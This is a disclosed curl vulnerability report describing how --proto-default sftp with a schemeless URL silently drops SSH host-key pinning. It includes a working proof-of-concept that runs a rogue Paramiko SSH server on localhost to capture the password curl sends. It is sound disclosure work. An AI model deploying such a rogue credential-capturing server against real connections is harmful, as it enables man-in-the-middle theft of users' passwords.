HexBrain

curl · Report #3797526

CVE-2026-12064: proto-default skips SSH verification

Validstatus
lowseverity
8upvotes
24 Jun 2026disclosed

How it was found

Summary

When a user invokes curl with a schemeless URL and --proto-default sftp (or scp), the tool layer guesses the URL is HTTP and skips setting SSH security options (CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256, CURLOPT_SSH_KNOWNHOSTS). However libcurl's runtime correctly applies --proto-default and connects via SFTP/SCP. The result is that --hostpubsha256, --hostpubmd5, and --knownhosts are silently ignored — curl connects to an unverified SSH host and sends authentication credentials.

A network MITM attacker running a rogue SSH server captures the victim's password or triggers key-based auth against an attacker-controlled host, while curl reports no host key error.

Affected version

Introduced in commit f97d372703 (2025-05-15, "tool_operate: move config2setopts to separate file"), first released in curl 8.14.0. Present through current master (8.21.0-DEV).

Root cause

In src/config2setopts.c, url_proto_and_rewrite() uses CURLU_GUESS_SCHEME to determine use_proto. For a schemeless URL like host:2222/path, it guesses HTTP. The SSH options gate on this guess:

// src/config2setopts.c:190
if(use_proto != proto_scp && use_proto != proto_sftp)
  return CURLE_OK;  // skips setting CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256, CURLOPT_SSH_KNOWNHOSTS, etc.

But CURLOPT_DEFAULT_PROTOCOL is set later (line ~1053), and libcurl's lib/url.c:1662 prepends sftp:// at runtime. So the actual transfer uses SFTP with no host key verification configured.

Steps To Reproduce

The PoC starts a Paramiko SSH server, then runs curl twice: once with explicit sftp:// (host key check works) and once with --proto-default sftp + schemeless URL (host key check bypassed, password captured).

Prerequisites: pip install paramiko. Run from the curl source tree root (~/curl/curl).

#!/usr/bin/env bash
# Run from the curl source root: ~/curl/curl
# The local build at ./build-ssh/src/curl must have SFTP support (libssh2).
set -e

CURL_BIN="./build-ssh/src/curl"
export LD_LIBRARY_PATH="/tmp/libssh2-install/lib${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"

echo "[*] Using: $CURL_BIN"
"$CURL_BIN" --version | head -2
if ! "$CURL_BIN" --version | grep -q sftp; then
  echo "FATAL: $CURL_BIN does not have SFTP support."; exit 1
fi
echo ""

python3 - "$CURL_BIN" <<'PYEOF'
import os, sys, socket, threading, time, subprocess

CURL_BIN = sys.argv[1]

import paramiko
host_key = paramiko.RSAKey.generate(2048)
host_fp_sha256 = "SHA256:" + __import__("base64").b64encode(
    __import__("hashlib").sha256(host_key.asbytes()).digest()
).decode().rstrip("=")

WRONG_PIN = "SHA256:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
captured_creds = []

class RogueServer(paramiko.ServerInterface):
    def check_auth_password(self, username, password):
        captured_creds.append(f"{username}:{password}")
        return paramiko.AUTH_FAILED
    def check_channel_request(self, kind, chanid):
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def get_allowed_auths(self, username):
        return "password"

def run_ssh_server(sock):
    conn, addr = sock.accept()
    transport = paramiko.Transport(conn)
    transport.add_server_key(host_key)
    try:
        transport.start_server(server=RogueServer())
        time.sleep(3)
    except Exception:
        pass
    finally:
        transport.close()
        conn.close()

def run_curl(args):
    env = os.environ.copy()
    return subprocess.run(
        [CURL_BIN, "-q", "--silent", "--show-error", "--max-time", "5",
         "--user", "victim:Secret123"] + args,
        text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=10, env=env)

srv_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv_sock.bind(("127.0.0.1", 0))
srv_sock.listen(1)
PORT = srv_sock.getsockname()[1]

print(f"Rogue SSH server on 127.0.0.1:{PORT}")
print(f"Real fingerprint: {host_fp_sha256}")
print(f"Wrong pin:        {WRONG_PIN}\n")

# Test 1: explicit sftp:// with wrong pin — should REJECT and NOT send password
captured_creds.clear()
t = threading.Thread(target=run_ssh_server, args=(srv_sock,), daemon=True)
t.start()
p1 = run_curl(["--hostpubsha256", WRONG_PIN, f"sftp://127.0.0.1:{PORT}/tmp/file"])
t.join(timeout=5)
print(f"[explicit sftp://] exit={p1.returncode}")
print(f"  stderr: {p1.stderr.strip()[:200]}")
print(f"  creds captured: {captured_creds or '<none>'}")

# Test 2: --proto-default sftp + schemeless URL — BUG: skips pin, sends password
captured_creds.clear()
t = threading.Thread(target=run_ssh_server, args=(srv_sock,), daemon=True)
t.start()
p2 = run_curl(["--proto-default", "sftp", "--hostpubsha256", WRONG_PIN,
               f"127.0.0.1:{PORT}/tmp/file"])
t.join(timeout=5)
print(f"\n[--proto-default sftp] exit={p2.returncode}")
print(f"  stderr: {p2.stderr.strip()[:200]}")
print(f"  creds captured: {captured_creds or '<none>'}")

srv_sock.close()

print("\n--- RESULT ---")
if p1.returncode == 60 and captured_creds == ['victim:Secret123']:
    print("VULNERABLE: --proto-default sftp bypassed host key pin")
    print(f"  Password sent to rogue server: {captured_creds}")
elif p1.returncode == 60 and not captured_creds:
    print("NOT VULNERABLE: both paths correctly rejected the wrong pin.")
else:
    print(f"UNEXPECTED: test1_exit={p1.returncode}, test2_creds={captured_creds}")
PYEOF

Verified output on curl 8.21.0-DEV (libcurl/8.21.0-DEV OpenSSL/3.0.13 libssh2/1.11.2_DEV):

[*] Built curl:
curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV OpenSSL/3.0.13 libssh2/1.11.2_DEV
Protocols: ... scp sftp ...

Rogue SSH server on 127.0.0.1:46363
Real fingerprint: SHA256:sBclp/HMFOJgNTOMMo5kDDg4bXCXVGcjStynZwsyiy4
Wrong pin:        SHA256:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[explicit sftp://] exit=60
  stderr: curl: (60) Denied establishing ssh session: mismatch SHA256 fingerprint. Remote sBclp/HMFOJgNTOMMo5kDDg4bXCXVGcjStynZwsyiy4= is not equal to SHA256:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  creds captured: <none>

[--proto-default sftp] exit=67
  stderr: curl: (67) Authentication failure
  creds captured: ['victim:Secret123']

--- RESULT ---
VULNERABLE: --proto-default sftp bypassed host key pin
  Password sent to rogue server: ['victim:Secret123']

Expected behavior

--hostpubsha256 (and --knownhosts) must be applied regardless of whether the SFTP scheme comes from the URL directly or from --proto-default. The host key mismatch should abort the connection before any authentication attempt.

Actual behavior

With --proto-default sftp and a schemeless URL, the host key pin is silently discarded. curl proceeds to authenticate against the unverified host, sending the password to whatever SSH server answers at that address.

Impact

Summary:

A MITM attacker on the network path intercepts the SSH connection and presents their own host key. Because curl skipped the pin check, the victim's password (or other credential) is sent to the attacker's rogue SSH server (requires explicit command-line passing). The user believes they are protected by --hostpubsha256 but the protection is silently absent.

This is a credential disclosure to a MITM — the user explicitly requested host verification, curl silently failed to enforce it, and the credential crossed the trust boundary to an unverified endpoint.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original